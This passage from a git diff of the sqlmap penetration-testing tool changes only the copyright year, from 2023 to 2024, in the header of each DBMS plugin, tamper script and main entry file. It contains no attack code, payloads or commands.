@@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/filesystem.py b/plugins/dbms/sybase/filesystem.py index ca60dc49afe..e0c9cf15ac8 100644 --- a/plugins/dbms/sybase/filesystem.py +++ b/plugins/dbms/sybase/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/fingerprint.py b/plugins/dbms/sybase/fingerprint.py index c37b8754eb9..cecfdf70ed6 100644 --- a/plugins/dbms/sybase/fingerprint.py +++ b/plugins/dbms/sybase/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/syntax.py b/plugins/dbms/sybase/syntax.py index 1d4b9cf8bf7..7953d2b5040 100644 --- a/plugins/dbms/sybase/syntax.py +++ b/plugins/dbms/sybase/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/takeover.py b/plugins/dbms/sybase/takeover.py index 931f35a4428..71ff8866100 100644 --- a/plugins/dbms/sybase/takeover.py +++ b/plugins/dbms/sybase/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/vertica/__init__.py b/plugins/dbms/vertica/__init__.py index 55db33d987d..6ffbf9b3049 100644 --- a/plugins/dbms/vertica/__init__.py +++ b/plugins/dbms/vertica/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/vertica/connector.py b/plugins/dbms/vertica/connector.py index 75cf1c1617b..55b2752a844 100644 --- a/plugins/dbms/vertica/connector.py +++ b/plugins/dbms/vertica/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/vertica/enumeration.py b/plugins/dbms/vertica/enumeration.py index fad90676403..d6e3f577c51 100644 --- a/plugins/dbms/vertica/enumeration.py +++ b/plugins/dbms/vertica/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/vertica/filesystem.py b/plugins/dbms/vertica/filesystem.py index bf4d5c5bac7..7f3df980642 100644 --- a/plugins/dbms/vertica/filesystem.py +++ b/plugins/dbms/vertica/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/vertica/fingerprint.py b/plugins/dbms/vertica/fingerprint.py index 61ae7c78131..d31ef61a1fc 100644 --- a/plugins/dbms/vertica/fingerprint.py +++ b/plugins/dbms/vertica/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/vertica/syntax.py b/plugins/dbms/vertica/syntax.py index 016cbf724ed..c97c5d53d0d 100644 --- a/plugins/dbms/vertica/syntax.py +++ b/plugins/dbms/vertica/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/vertica/takeover.py b/plugins/dbms/vertica/takeover.py index d65d717696e..8a466de54af 100644 --- a/plugins/dbms/vertica/takeover.py +++ b/plugins/dbms/vertica/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/virtuoso/__init__.py b/plugins/dbms/virtuoso/__init__.py index 21b2b75fada..75c5e1de747 100644 --- a/plugins/dbms/virtuoso/__init__.py +++ b/plugins/dbms/virtuoso/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/virtuoso/connector.py b/plugins/dbms/virtuoso/connector.py index 60cd174f624..a9947069cef 100644 --- a/plugins/dbms/virtuoso/connector.py +++ b/plugins/dbms/virtuoso/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/virtuoso/enumeration.py b/plugins/dbms/virtuoso/enumeration.py index a0434fa0d04..bf8fb5db0c6 100644 --- a/plugins/dbms/virtuoso/enumeration.py +++ b/plugins/dbms/virtuoso/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/virtuoso/filesystem.py b/plugins/dbms/virtuoso/filesystem.py index f4ef54e9175..1f0be1f1a64 100644 --- a/plugins/dbms/virtuoso/filesystem.py +++ b/plugins/dbms/virtuoso/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/virtuoso/fingerprint.py b/plugins/dbms/virtuoso/fingerprint.py index 0ed0bd5ddd3..0be61e9f0dc 100644 --- a/plugins/dbms/virtuoso/fingerprint.py +++ b/plugins/dbms/virtuoso/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/virtuoso/syntax.py b/plugins/dbms/virtuoso/syntax.py index b6b6c633dc8..b995549f465 100644 --- a/plugins/dbms/virtuoso/syntax.py +++ b/plugins/dbms/virtuoso/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/virtuoso/takeover.py b/plugins/dbms/virtuoso/takeover.py index 6acd165a936..aa05c198560 100644 --- a/plugins/dbms/virtuoso/takeover.py +++ b/plugins/dbms/virtuoso/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/__init__.py b/plugins/generic/__init__.py index 8476fab2f94..7777bded120 100644 --- a/plugins/generic/__init__.py +++ b/plugins/generic/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/connector.py b/plugins/generic/connector.py index 2512c7f1488..79578aae323 100644 --- a/plugins/generic/connector.py +++ b/plugins/generic/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/custom.py b/plugins/generic/custom.py index fab62615be1..a4b11f68613 100644 --- a/plugins/generic/custom.py +++ b/plugins/generic/custom.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index b924e9980e7..2162ab61f6d 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index 84b1c0e032c..3471580c82c 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/enumeration.py b/plugins/generic/enumeration.py index f09876f1eda..54372e50ae0 100644 --- a/plugins/generic/enumeration.py +++ b/plugins/generic/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py index 5d383ed729c..779a2334573 100644 --- a/plugins/generic/filesystem.py +++ b/plugins/generic/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/fingerprint.py b/plugins/generic/fingerprint.py index 0bdcb35c111..dcffd08e423 100644 --- a/plugins/generic/fingerprint.py +++ b/plugins/generic/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/misc.py b/plugins/generic/misc.py index f061d585165..7eb710b59aa 100644 --- a/plugins/generic/misc.py +++ b/plugins/generic/misc.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/search.py b/plugins/generic/search.py index bb670b71843..384936adc02 100644 --- a/plugins/generic/search.py +++ b/plugins/generic/search.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/syntax.py b/plugins/generic/syntax.py index 146a713249b..e5f832507c4 100644 --- a/plugins/generic/syntax.py +++ b/plugins/generic/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py index 429653b0087..d3075943d84 100644 --- a/plugins/generic/takeover.py +++ b/plugins/generic/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/users.py b/plugins/generic/users.py index ddef85a2a32..27bed7e6c54 100644 --- a/plugins/generic/users.py +++ b/plugins/generic/users.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/sqlmap.py b/sqlmap.py index f35db5504c7..8f491c17b80 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/sqlmapapi.py b/sqlmapapi.py index 2bcb2a2bb7c..ec97b7d4b2b 100755 --- a/sqlmapapi.py +++ b/sqlmapapi.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/0eunion.py b/tamper/0eunion.py index 84587ee4d4f..93420537f67 100644 --- a/tamper/0eunion.py +++ b/tamper/0eunion.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/__init__.py b/tamper/__init__.py index 8476fab2f94..7777bded120 100644 --- a/tamper/__init__.py +++ b/tamper/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/apostrophemask.py b/tamper/apostrophemask.py index 67b38d31ce2..113b5bf1035 100644 --- a/tamper/apostrophemask.py +++ b/tamper/apostrophemask.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/apostrophenullencode.py b/tamper/apostrophenullencode.py index c9334100e91..7a3cd18f6c6 100644 --- a/tamper/apostrophenullencode.py +++ b/tamper/apostrophenullencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/appendnullbyte.py b/tamper/appendnullbyte.py index 7c565859724..5fda08bcdb4 100644 --- a/tamper/appendnullbyte.py +++ b/tamper/appendnullbyte.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/base64encode.py b/tamper/base64encode.py index d813876d120..9e81dc90099 100644 --- a/tamper/base64encode.py +++ b/tamper/base64encode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/between.py b/tamper/between.py index d101f210e89..d07e224517c 100644 --- a/tamper/between.py +++ b/tamper/between.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/binary.py b/tamper/binary.py index 24bdcbca145..b0151a30782 100644 --- a/tamper/binary.py +++ b/tamper/binary.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/bluecoat.py b/tamper/bluecoat.py index 8804a3a9b08..7438d304650 100644 --- a/tamper/bluecoat.py +++ b/tamper/bluecoat.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/chardoubleencode.py b/tamper/chardoubleencode.py index bb0c4ca17fd..ea711b4a291 100644 --- a/tamper/chardoubleencode.py +++ b/tamper/chardoubleencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/charencode.py b/tamper/charencode.py index f676cab8b29..181f978f314 100644 --- a/tamper/charencode.py +++ b/tamper/charencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/charunicodeencode.py b/tamper/charunicodeencode.py index fd0427f0cfd..6e8b429f556 100644 --- a/tamper/charunicodeencode.py +++ b/tamper/charunicodeencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/charunicodeescape.py b/tamper/charunicodeescape.py index cec28fb8d48..8fe05c00abf 100644 --- a/tamper/charunicodeescape.py +++ b/tamper/charunicodeescape.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/commalesslimit.py b/tamper/commalesslimit.py index 18443bb88f4..0561b2f79c7 100644 --- a/tamper/commalesslimit.py +++ b/tamper/commalesslimit.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/commalessmid.py b/tamper/commalessmid.py index 6e652778edd..b6f4e7f63f9 100644 --- a/tamper/commalessmid.py +++ b/tamper/commalessmid.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/commentbeforeparentheses.py b/tamper/commentbeforeparentheses.py index fa2b3d8a453..d5e471daefa 100644 --- a/tamper/commentbeforeparentheses.py +++ b/tamper/commentbeforeparentheses.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/concat2concatws.py b/tamper/concat2concatws.py index 8a4362cdd3f..7c66c88f112 100644 --- a/tamper/concat2concatws.py +++ b/tamper/concat2concatws.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/decentities.py b/tamper/decentities.py index 187e352ae4b..aaed22f4d39 100644 --- a/tamper/decentities.py +++ b/tamper/decentities.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/dunion.py b/tamper/dunion.py index f4b5cceb2ea..27172685f78 100644 --- a/tamper/dunion.py +++ b/tamper/dunion.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/equaltolike.py b/tamper/equaltolike.py index c86d1d48c35..ddc237b687d 100644 --- a/tamper/equaltolike.py +++ b/tamper/equaltolike.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/equaltorlike.py b/tamper/equaltorlike.py index 67dfdf7492a..097adfcde27 100644 --- a/tamper/equaltorlike.py +++ b/tamper/equaltorlike.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/escapequotes.py b/tamper/escapequotes.py index 85531ea6764..778b69337aa 100644 --- a/tamper/escapequotes.py +++ b/tamper/escapequotes.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/greatest.py b/tamper/greatest.py index 091e722d57e..58013551bb4 100644 --- a/tamper/greatest.py +++ b/tamper/greatest.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/halfversionedmorekeywords.py b/tamper/halfversionedmorekeywords.py index e43870f5a53..f4dd455806f 100644 --- a/tamper/halfversionedmorekeywords.py +++ b/tamper/halfversionedmorekeywords.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/hex2char.py b/tamper/hex2char.py index 996265384bf..267124d386a 100644 --- a/tamper/hex2char.py +++ b/tamper/hex2char.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/hexentities.py b/tamper/hexentities.py index e60ed8df9de..d36923eff07 100644 --- a/tamper/hexentities.py +++ b/tamper/hexentities.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/htmlencode.py b/tamper/htmlencode.py index 0fcdef0c64f..6cd5507c8a7 100644 --- a/tamper/htmlencode.py +++ b/tamper/htmlencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/if2case.py b/tamper/if2case.py index 533e1e210b2..2e3a01f26b0 100644 --- a/tamper/if2case.py +++ b/tamper/if2case.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/ifnull2casewhenisnull.py b/tamper/ifnull2casewhenisnull.py index e8b5de7d333..f439d9d0e46 100644 --- a/tamper/ifnull2casewhenisnull.py +++ b/tamper/ifnull2casewhenisnull.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/ifnull2ifisnull.py b/tamper/ifnull2ifisnull.py index 6fac2758f7c..d182b688b0a 100644 --- a/tamper/ifnull2ifisnull.py +++ b/tamper/ifnull2ifisnull.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/informationschemacomment.py b/tamper/informationschemacomment.py index 8272ec280d4..9ec46b5b183 100644 --- a/tamper/informationschemacomment.py +++ b/tamper/informationschemacomment.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/least.py b/tamper/least.py index d59f1a458eb..9c948b4a383 100644 --- a/tamper/least.py +++ b/tamper/least.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/lowercase.py b/tamper/lowercase.py index 9d49eb3e4b1..230f7ef4f75 100644 --- a/tamper/lowercase.py +++ b/tamper/lowercase.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/luanginx.py b/tamper/luanginx.py index b302e71d6ae..f4bf8254926 100644 --- a/tamper/luanginx.py +++ b/tamper/luanginx.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/misunion.py b/tamper/misunion.py index 9f1c5d95756..596880a8196 100644 --- a/tamper/misunion.py +++ b/tamper/misunion.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/modsecurityversioned.py b/tamper/modsecurityversioned.py index 25c66f0bcae..19c1d081278 100644 --- a/tamper/modsecurityversioned.py +++ b/tamper/modsecurityversioned.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/modsecurityzeroversioned.py b/tamper/modsecurityzeroversioned.py index 0d3ca440ede..c646d1a58a5 100644 --- a/tamper/modsecurityzeroversioned.py +++ b/tamper/modsecurityzeroversioned.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/multiplespaces.py b/tamper/multiplespaces.py index b3cd78c06da..8f2ae170847 100644 --- a/tamper/multiplespaces.py +++ b/tamper/multiplespaces.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/ord2ascii.py b/tamper/ord2ascii.py index b7b0676b4ff..f5cf8a26d99 100644 --- a/tamper/ord2ascii.py +++ b/tamper/ord2ascii.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/overlongutf8.py b/tamper/overlongutf8.py index ba8de68b50e..594535678f3 100644 --- a/tamper/overlongutf8.py +++ b/tamper/overlongutf8.py @@ 